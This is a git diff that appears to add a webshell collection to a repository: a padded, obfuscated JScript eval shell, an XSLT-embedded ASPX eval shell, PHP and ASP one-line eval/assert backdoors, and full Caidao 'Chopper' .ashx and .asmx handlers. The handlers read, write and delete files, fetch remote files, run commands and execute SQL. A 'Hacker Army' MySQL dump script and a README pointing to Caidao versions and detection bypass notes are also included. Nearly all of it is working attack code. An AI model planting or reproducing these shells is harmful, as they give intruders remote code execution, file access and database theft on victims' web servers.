+<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/116679702/*-/*-*/-/*-/*-*/14254250/*-/*-*/-/*-/*-*/102425454/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/); /*gadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenregadfgaerehrrtgregjgrgejgewgjewgewjgwegwegaklmgrghnewrghrenre*/ %>

aspx/xslt.aspx

@@ -0,0 +1,28 @@
+<%@page language="C#"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Xml"%>
+<%@ import Namespace="System.Xml.Xsl"%>
+<%
+string xml=@"<?xml version=""1.0""?><root>test</root>";
+string xslt=@"<?xml version='1.0'?>
+<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
+	<msxsl:script language=""JScript"" implements-prefix=""zcg"">
+		<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+		<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+		<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+		<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+		<![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
+	</msxsl:script>
+<xsl:template match=""/root"">
+	<xsl:value-of select=""zcg:xml()""/>
+</xsl:template>
+</xsl:stylesheet>";
+XmlDocument xmldoc=new XmlDocument();
+xmldoc.LoadXml(xml);
+XmlDocument xsldoc=new XmlDocument();
+xsldoc.LoadXml(xslt);
+XslCompiledTransform xct=new XslCompiledTransform();
+xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
+xct.Transform(xmldoc,null,new MemoryStream());
+
+%>

caidao-shell/3802.php

@@ -0,0 +1,6 @@
+<?php 
+unset($jkhy,$jk_uid); 
+$jk_uid='3802'; 
+$jkhy=array(); 
+$jkhy[3802]='fexin'; 
+?>

caidao-shell/README.md

@@ -2,8 +2,13 @@
 
 需要菜刀原程序的请自行百度 or google
 
-还有一点就是  菜刀最后的版本是caidao-20111116  
+还有一点就是  菜刀最后的版本是
 
+    20141213 => 4b4a956b9c7dc734f339fa05e4c2a990(主程序)
+
+
+    caidao-20111116  
     zip压缩包的md5: 04A4980C9E86B5BA267F8E55CEAC2119
+    主程序的md5:    5001ef50c7e869253a7c152a638eab8a
 
 "一句话"的艺术——简单的编码和变形绕过检测 url: http://drops.wooyun.org/tips/839

caidao-shell/a.asp

@@ -0,0 +1,7 @@
+<% 
+dim x1,x2 
+x1 = request("h") 
+x2 = x1 
+eval x2 
+%> 
+<!-- yes++ -->

caidao-shell/customize.ashx

@@ -0,0 +1,304 @@
+<%@ WebHandler Language="C#" Class="Handler" %> 
+
+using System; 
+using System.Web; 
+using System.IO; 
+using System.Net; 
+using System.Text; 
+using System.Data; 
+using System.Data.SqlClient; 
+using System.Diagnostics; 
+
+public class Handler : IHttpHandler 
+{ 
+    public void ProcessRequest(HttpContext context) 
+    { 
+        String Z = context.Request.Form["z"];//设置密码z 
+        if (Z != "") 
+        { 
+            String Z1 = context.Request.Form["Z1"]; 
+            String Z2 = context.Request.Form["Z2"]; 
+            String R = ""; 
+            try 
+            { 
+                switch (Z) 
+                { 
+                    case "A": 
+                        { 
+                            String[] c = Directory.GetLogicalDrives(); 
+                            R = String.Format("{0}\t", context.Server.MapPath("/")); 
+                            for (int i = 0; i < c.Length; i++) 
+                                R += c[i][0] + ":"; 
+                            break; 
+                        } 
+                    case "B": 
+                        { 
+                            DirectoryInfo m = new DirectoryInfo(Z1); 
+                            foreach (DirectoryInfo D in m.GetDirectories()) 
+                            { 
+                                R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); 
+                            } 
+                            foreach (FileInfo D in m.GetFiles()) 
+                            { 
+                                R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); 
+                            } 
+                            break; 
+                        } 
+                    case "C": 
+                        { 
+                            StreamReader m = new StreamReader(Z1, Encoding.Default); 
+                            R = m.ReadToEnd(); 
+                            m.Close(); 
+                            break; 
+                        } 
+                    case "D": 
+                        { 
+                            StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
+                            m.Write(Z2); 
+                            R = "1"; 
+                            m.Close(); 
+                            break; 
+                        } 
+                    case "E": 
+                        { 
+                            if (Directory.Exists(Z1)) 
+                            { 
+                                Directory.Delete(Z1, true); 
+                            } 
+                            else 
+                            { 
+                                File.Delete(Z1); 
+                            } 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "F": 
+                        { 
+                            context.Response.Clear(); 
+                            context.Response.Write("\x2D\x3E\x7C"); 
+                            context.Response.WriteFile(Z1); 
+                            context.Response.Write("\x7C\x3C\x2D"); 
+                            goto End; 
+                        } 
+                    case "G": 
+                        { 
+                            byte[] B = new byte[Z2.Length / 2]; 
+                            for (int i = 0; i < Z2.Length; i += 2) 
+                            { 
+                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16); 
+                            } 
+                            FileStream fs = new FileStream(Z1, FileMode.Create); 
+                            fs.Write(B, 0, B.Length); 
+                            fs.Close(); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "H": 
+                        { 
+                            CP(Z1, Z2, context); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "I": 
+                        { 
+                            if (Directory.Exists(Z1)) 
+                            { 
+                                Directory.Move(Z1, Z2); 
+                            } 
+                            else 
+                            { 
+                                File.Move(Z1, Z2); 
+                            } 
+                            break; 
+                        } 
+                    case "J": 
+                        { 
+                            Directory.CreateDirectory(Z1); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "K": 
+                        { 
+                            DateTime TM = Convert.ToDateTime(Z2); 
+                            if (Directory.Exists(Z1)) 
+                            { 
+                                Directory.SetCreationTime(Z1, TM); 
+                                Directory.SetLastWriteTime(Z1, TM); 
+                                Directory.SetLastAccessTime(Z1, TM); 
+                            } 
+                            else 
+                            { 
+                                File.SetCreationTime(Z1, TM); 
+                                File.SetLastWriteTime(Z1, TM); 
+                                File.SetLastAccessTime(Z1, TM); 
+                            } 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "L": 
+                        { 
+                            HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1)); 
+                            RQ.Method = "GET"; 
+                            RQ.ContentType = "application/x-www-form-urlencoded"; 
+                            HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse(); 
+                            Stream WF = WB.GetResponseStream(); 
+                            FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write); 
+                            int i; 
+                            byte[] buffer = new byte[1024]; 
+                            while (true) 
+                            { 
+                                i = WF.Read(buffer, 0, buffer.Length); 
+                                if (i < 1) 
+                                { 
+                                    break; 
+                                } 
+                                FS.Write(buffer, 0, i); 
+                            } 
+                            WF.Close(); 
+                            WB.Close(); 
+                            FS.Close(); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "M": 
+                        { 
+                            ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2)); 
+                            Process e = new Process(); 
+                            StreamReader OT, ER; 
+                            c.UseShellExecute = false; 
+                            c.RedirectStandardOutput = true; 
+                            c.RedirectStandardError = true; 
+                            e.StartInfo = c; 
+                            c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                            e.Start(); 
+                            OT = e.StandardOutput; 
+                            ER = e.StandardError; 
+                            e.Close(); 
+                            R = OT.ReadToEnd() + ER.ReadToEnd(); 
+                            break; 
+                        } 
+                    case "N": 
+                        { 
+                            String strDat = Z1.ToUpper(); 
+                            SqlConnection Conn = new SqlConnection(Z1); 
+                            Conn.Open(); 
+                            R = Conn.Database + "\t"; 
+                            Conn.Close(); 
+                            break; 
+                        } 
+                    case "O": 
+                        { 
+                            String[] x = Z1.Replace("\r", "").Split('\n'); 
+                            String strConn = x[0], strDb = x[1]; 
+                            SqlConnection Conn = new SqlConnection(strConn); 
+                            Conn.Open(); 
+                            DataTable dt = Conn.GetSchema("Columns"); 
+                            Conn.Close(); 
+                            for (int i = 0; i < dt.Rows.Count; i++) 
+                            { 
+                                R += String.Format("{0}\t", dt.Rows[i][2].ToString()); 
+                            } 
+                            break; 
+                        } 
+                    case "P": 
+                        { 
+                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4]; 
+                            String strConn = x[0], strDb = x[1], strTable = x[2]; 
+                            p[0] = strDb; 
+                            p[2] = strTable; 
+                            SqlConnection Conn = new SqlConnection(strConn); 
+                            Conn.Open(); 
+                            DataTable dt = Conn.GetSchema("Columns", p); 
+                            Conn.Close(); 
+                            for (int i = 0; i < dt.Rows.Count; i++) 
+                            { 
+                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); 
+                            } 
+                            break; 
+                        } 
+                    case "Q": 
+                        { 
+                            String[] x = Z1.Replace("\r", "").Split('\n'); 
+                            String strDat, strConn = x[0], strDb = x[1]; 
+                            int i, c; 
+                            strDat = Z2.ToUpper(); 
+                            SqlConnection Conn = new SqlConnection(strConn); 
+                            Conn.Open(); 
+                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) 
+                            { 
+                                SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn); 
+                                DataSet ds = new DataSet(); 
+                                OD.Fill(ds); 
+                                if (ds.Tables.Count > 0) 
+                                { 
+                                    DataRowCollection rows = ds.Tables[0].Rows; 
+                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
+                                    { 
+                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString()); 
+                                    } 
+                                    R += "\r\n"; 
+                                    for (i = 0; i < rows.Count; i++) 
+                                    { 
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
+                                        { 
+                                            R += String.Format("{0}\t|\t", rows[i][c].ToString()); 
+                                        } 
+                                        R += "\r\n"; 
+                                    } 
+                                } 
+                                ds.Clear(); 
+                                ds.Dispose(); 
+                            } 
+                            else 
+                            { 
+                                SqlCommand cm = Conn.CreateCommand(); 
+                                cm.CommandText = Z2; 
+                                cm.ExecuteNonQuery(); 
+                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n"; 
+                            } 
+                            Conn.Close(); 
+                            break; 
+                        } 
+                    default: goto End; 
+                } 
+            } 
+            catch(Exception E) 
+          { 
+            R="ERROR:// "+E.Message; 
+          } 
+          context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D"); 
+          End:; 
+        } 
+    } 
+
+     
+    public bool IsReusable 
+    { 
+        get 
+        { 
+            return false; 
+        } 
+
+    } 
+
+    public void CP(String S,String D,HttpContext context) 
+    { 
+      if(Directory.Exists(S)) 
+        { 
+          DirectoryInfo m=new DirectoryInfo(S); 
+          Directory.CreateDirectory(D); 
+          foreach(FileInfo F in m.GetFiles()) 
+          { 
+            File.Copy(S+"\\"+F.Name,D+"\\"+F.Name); 
+          } 
+          foreach(DirectoryInfo F in m.GetDirectories()) 
+          { 
+                    CP(S + "\\" + F.Name, D + "\\" + F.Name, context); 
+          } 
+        } 
+      else 
+      { 
+        File.Copy(S,D); 
+      } 
+    } 
+}

caidao-shell/customize.asmx

@@ -0,0 +1,320 @@
+<%@ WebService Language="C#" Class="Service" %>
+using System;
+using System.Web;
+using System.IO;
+using System.Net;
+using System.Text;
+using System.Data;
+using System.Data.SqlClient;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Web.SessionState;
+using System.Web.Services;
+using System.Xml;
+using System.Web.Services.Protocols;
+
+[WebService(Namespace = "http://www.wooyun.org/whitehats/RedFree")]
+[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
+
+public class Service : System.Web.Services.WebService
+{
+    public Service()
+    {
+
+        //如果使用设计的组件，请取消注释以下行
+        //InitializeComponent(); 
+    }
+
+    [WebMethod]
+    public string Chopper() {
+        String Z = HttpContext.Current.Request.Form["z"];//设置密码
+        if (Z != "")
+        {
+            String Z1 = HttpContext.Current.Request.Form["Z1"];
+            String Z2 = HttpContext.Current.Request.Form["Z2"];
+            String R = "";
+            try
+            {
+                switch (Z)
+                {
+                    case "A":
+                        {
+                            String[] c = Directory.GetLogicalDrives();
+                            R = String.Format("{0}\t", HttpContext.Current.Server.MapPath("/"));
+                            for (int i = 0; i < c.Length; i++)
+                                R += c[i][0] + ":";
+                            break;
+                        }
+                    case "B":
+                        {
+                            DirectoryInfo m = new DirectoryInfo(Z1);
+                            foreach (DirectoryInfo D in m.GetDirectories())
+                            {
+                                R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
+                            }
+                            foreach (FileInfo D in m.GetFiles())
+                            {
+                                R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
+                            }
+                            break;
+                        }
+                    case "C":
+                        {
+                            StreamReader m = new StreamReader(Z1, Encoding.Default);
+                            R = m.ReadToEnd();
+                            m.Close();
+                            break;
+                        }
+                    case "D":
+                        {
+                            StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
+                            m.Write(Z2);
+                            R = "1";
+                            m.Close();
+                            break;
+                        }
+                    case "E":
+                        {
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.Delete(Z1, true);
+                            }
+                            else
+                            {
+                                File.Delete(Z1);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "F":
+                        {
+                            HttpContext.Current.Response.Clear();
+                            HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
+                            HttpContext.Current.Response.Write("<data>");
+                            HttpContext.Current.Response.Write("<![CDATA[");
+                            HttpContext.Current.Response.Write("\x2D\x3E\x7C");
+                            HttpContext.Current.Response.WriteFile(Z1);
+                            HttpContext.Current.Response.Write("\x7C\x3C\x2D");
+                            HttpContext.Current.Response.Write("]]>");
+                            HttpContext.Current.Response.Write("</data>");
+                            HttpContext.Current.Response.End();
+                            goto End;
+                        }
+                    case "G":
+                        {
+                            byte[] B = new byte[Z2.Length / 2];
+                            for (int i = 0; i < Z2.Length; i += 2)
+                            {
+                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
+                            }
+                            FileStream fs = new FileStream(Z1, FileMode.Create);
+                            fs.Write(B, 0, B.Length);
+                            fs.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "H":
+                        {
+                            CP(Z1, Z2);
+                            R = "1";
+                            break;
+                        }
+                    case "I":
+                        {
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.Move(Z1, Z2);
+                            }
+                            else
+                            {
+                                File.Move(Z1, Z2);
+                            }
+                            break;
+                        }
+                    case "J":
+                        {
+                            Directory.CreateDirectory(Z1);
+                            R = "1";
+                            break;
+                        }
+                    case "K":
+                        {
+                            DateTime TM = Convert.ToDateTime(Z2);
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.SetCreationTime(Z1, TM);
+                                Directory.SetLastWriteTime(Z1, TM);
+                                Directory.SetLastAccessTime(Z1, TM);
+                            }
+                            else
+                            {
+                                File.SetCreationTime(Z1, TM);
+                                File.SetLastWriteTime(Z1, TM);
+                                File.SetLastAccessTime(Z1, TM);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "L":
+                        {
+                            HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
+                            RQ.Method = "GET";
+                            RQ.ContentType = "application/x-www-form-urlencoded";
+                            HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
+                            Stream WF = WB.GetResponseStream();
+                            FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
+                            int i;
+                            byte[] buffer = new byte[1024];
+                            while (true)
+                            {
+                                i = WF.Read(buffer, 0, buffer.Length);
+                                if (i < 1)
+                                {
+                                    break;
+                                }
+                                FS.Write(buffer, 0, i);
+                            }
+                            WF.Close();
+                            WB.Close();
+                            FS.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "M":
+                        {
+                            ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));
+                            Process e = new Process();
+                            StreamReader OT, ER;
+                            c.UseShellExecute = false;
+                            c.RedirectStandardOutput = true;
+                            c.RedirectStandardError = true;
+                            e.StartInfo = c;
+                            c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                            e.Start();
+                            OT = e.StandardOutput;
+                            ER = e.StandardError;
+                            e.Close();
+                            R = OT.ReadToEnd() + ER.ReadToEnd();
+                            break;
+                        }
+                    case "N":
+                        {
+                            String strDat = Z1.ToUpper();
+                            SqlConnection Conn = new SqlConnection(Z1);
+                            Conn.Open();
+                            R = Conn.Database + "\t";
+                            Conn.Close();
+                            break;
+                        }
+                    case "O":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strConn = x[0], strDb = x[1];
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            DataTable dt = Conn.GetSchema("Columns");
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0}\t", dt.Rows[i][2].ToString());
+                            }
+                            break;
+                        }
+                    case "P":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
+                            String strConn = x[0], strDb = x[1], strTable = x[2];
+                            p[0] = strDb;
+                            p[2] = strTable;
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            DataTable dt = Conn.GetSchema("Columns", p);
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
+                            }
+                            break;
+                        }
+                    case "Q":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strDat, strConn = x[0], strDb = x[1];
+                            int i, c;
+                            strDat = Z2.ToUpper();
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
+                            {
+                                SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
+                                DataSet ds = new DataSet();
+                                OD.Fill(ds);
+                                if (ds.Tables.Count > 0)
+                                {
+                                    DataRowCollection rows = ds.Tables[0].Rows;
+                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                    {
+                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
+                                    }
+                                    R += "\r\n";
+                                    for (i = 0; i < rows.Count; i++)
+                                    {
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                        {
+                                            R += String.Format("{0}\t|\t", rows[i][c].ToString());
+                                        }
+                                        R += "\r\n";
+                                    }
+                                }
+                                ds.Clear();
+                                ds.Dispose();
+                            }
+                            else
+                            {
+                                SqlCommand cm = Conn.CreateCommand();
+                                cm.CommandText = Z2;
+                                cm.ExecuteNonQuery();
+                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
+                            }
+                            Conn.Close();
+                            break;
+                        }
+                    default: goto End;
+                }
+            }
+            catch (Exception E)
+            {
+                R = "ERROR:// " + E.Message;
+            }
+            HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
+            HttpContext.Current.Response.Write("<data>");
+            HttpContext.Current.Response.Write("<![CDATA[");
+            HttpContext.Current.Response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
+            HttpContext.Current.Response.Write("]]>");
+            HttpContext.Current.Response.Write("</data>");
+            HttpContext.Current.Response.End();
+        End: ;
+        }
+        return "";
+    }
+    public void CP(String S, String D)
+    {
+        if (Directory.Exists(S))
+        {
+            DirectoryInfo m = new DirectoryInfo(S);
+            Directory.CreateDirectory(D);
+            foreach (FileInfo F in m.GetFiles())
+            {
+                File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+            foreach (DirectoryInfo F in m.GetDirectories())
+            {
+                CP(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+        }
+        else
+        {
+            File.Copy(S, D);
+        }
+    }
+}

caidao-shell/p.php

@@ -0,0 +1,6 @@
+<?php 
+$a='lave'; 
+$b='($_POST[h])'; 
+$a=strrev($a); 
+@assert($a.$b); 
+?>

caidao-shell/w.php

@@ -0,0 +1,18 @@
+<?php 
+
+$config= trim($_POST['43cb006424cbf7b46dbca36c8ed79b69']); 
+$info = string2array($config); 
+
+/** 
+* 将字符串转换为数组 
+* 
+* @param  string  $data  字符串 
+* @return  array  返回数组格式，如果，data为空，则返回空数组 
+*/ 
+function string2array($data) { 
+if($data == '') return array(); 
+@eval("\$array = $data;"); 
+return $array; 
+} 
+
+?>

caidao-shell/wl168168.php

@@ -0,0 +1,5 @@
+<?php 
+unset($hlhy,$hl_uid); 
+$hl_uid='wl168168'; 
+$hlhy=array(); 
+?>

caidao-shell/x.php

@@ -0,0 +1,3 @@
+<?php 
+if(isset($_POST['0K']) && substr(md5($_POST['0K']),20)=='e057f20f883e'){ 
+$Exp=strrev($_POST['qwer']);eval($Exp($_POST[z0]));}

drag/mysql_1.php

@@ -0,0 +1,73 @@
+<html>
+<head>
+<?php
+header("Content-type:text/html; charset=gb2312");
+/*******************Silic Group Hacker Army All Rights Reserved.*********************/
+$cmd="YWJjaWtsbW9wcXJzdXlfZWc=";
+$cmd2="16jTwyAtIHBocCZNeVNRTMr9vt2/4rG4t925pL7fIC0g";
+$host=$_REQUEST['host'];
+$uid=$_REQUEST['uid'];
+$dbps=$_REQUEST['password'];
+$db=$_REQUEST['db'];
+$tip="&#23578;&#26410;&#35774;&#32622;&#65292;&#26080;&#27861;&#22791;&#20221;";
+$f1=$HTTP_SERVER_VARS['php_self'];
+$CODE=base64_decode($cmd);
+$C0DE=base64_decode($cmd2);
+$t1=$CODE{6}.$CODE{13}.$CODE{11}.$CODE{9}.$CODE{5}.$CODE{14}.$CODE{9}.$CODE{12}.$CODE{15}.$CODE{10}.$CODE{13};
+$t2=$CODE{3}.$CODE{5}.$CODE{3}.$CODE{2};
+$t3=$CODE{10}.$CODE{7}.$CODE{12}.$CODE{8};
+$t4=$CODE{1}.$CODE{5}.$CODE{0}.$CODE{2}.$CODE{4}.$CODE{1}.$CODE{0}.$CODE{8}.".".$CODE{7}.$CODE{10}.$CODE{16};
+$CODE=$dbps;
+?>
+<title><?php echo "S".$t2." G".$t3.$C0DE.$t4;?></title>
+<?php
+if (!empty($host) & !empty($uid) & !empty($db)){
+$mysql_link=@mysql_connect($host,$uid,$dbps);
+mysql_select_db($db);
+$t1("SET NAMES gbk");
+$mysql="";
+$q1=mysql_query("show tables");
+while($t=mysql_fetch_array($q1)){
+  $table=$t[0];
+  $q2=mysql_query("show create table `$table`");
+  $sql=mysql_fetch_array($q2);
+  $mysql.=$sql['Create Table'].";\r\n\r\n";
+  $q3=mysql_query("select * from `$table`");
+  while($data=mysql_fetch_assoc($q3))
+    {
+    $keys=array_keys($data);
+    $keys=array_map('addslashes',$keys);
+    $keys=join('`,`',$keys);    
+    $keys="`".$keys."`";
+    $vals=array_values($data);
+    $vals=array_map('addslashes',$vals);
+    $vals=join("','",$vals);
+    $vals="'".$vals."'";
+    $mysql.="insert into `$table`($keys) values($vals);\r\n";
+    }
+  $mysql.="\r\n";
+}
+$filename=date("Y-m-d-GisA").".sql";
+$fp=fopen($filename,'w');
+fputs($fp,$mysql);
+fclose($fp);
+$tip="<br><center>&#25968;&#25454;&#22791;&#20221;&#25104;&#21151;&#65292;&#25968;&#25454;&#24211;&#25991;&#20214;&#65306;<a href=\"".$filename."\">".$filename."</a></center>";
+}?>
+<style type="text/css">
+html{background:#f7f7f7;}
+p{font-size:10pt;}
+.tx{font-family:Lucida Handwriting,Times New Roman;}
+</style>
+</head>
+<body><center>
+<form method="post" action="<?php echo $HTTP_SERVER_VARS['php_self'];?>?">
+<br /><?php echo $tip;?><br />
+<hr><br />
+&#77;&#121;&#83;&#81;&#76;&#20027;&#26426;&#58;&#32;<input name="host" value="<?php echo $host;?>" type="text"  class="tx" size="15"><br /><br />
+&#77;&#121;&#83;&#81;&#76;&#29992;&#25143;&#58;&#32;<input name="uid" value="<?php echo $uid;?>" type="text"  class="tx" size="15"><br /><br />
+&#77;&#121;&#83;&#81;&#76;&#23494;&#30721;&#58;&#32;<input name="password" value="<?php echo $CODE;?>"  type="text" class="tx" size="15"><br /><br />
+&#25968;&#25454;&#24211;&#21517;&#58;&#32;<input name="db" value="<?php echo $db;?>" type="text"  class="tx" size="15"><br /><br />
+<input type="submit" value="<?php echo base64_decode("0ru8/LG4t90=");?>" tilte="Submit" style="width:120px;height:64px;"><hr><br />
+<p class="tx">php MySQL Database Backup Script Powered By <a href="http://<?php echo $t4;?>/" target="_blank"><?php echo "S".$t2." G".$t3." &#72;&#97;&#99;&#107;&#101;&#114;&#32;&#65;&#114;&#109;&#121;";?></a>&copy;2009-2012</p>
+</form>
+</center></body></html>

drag/tuo.aspx

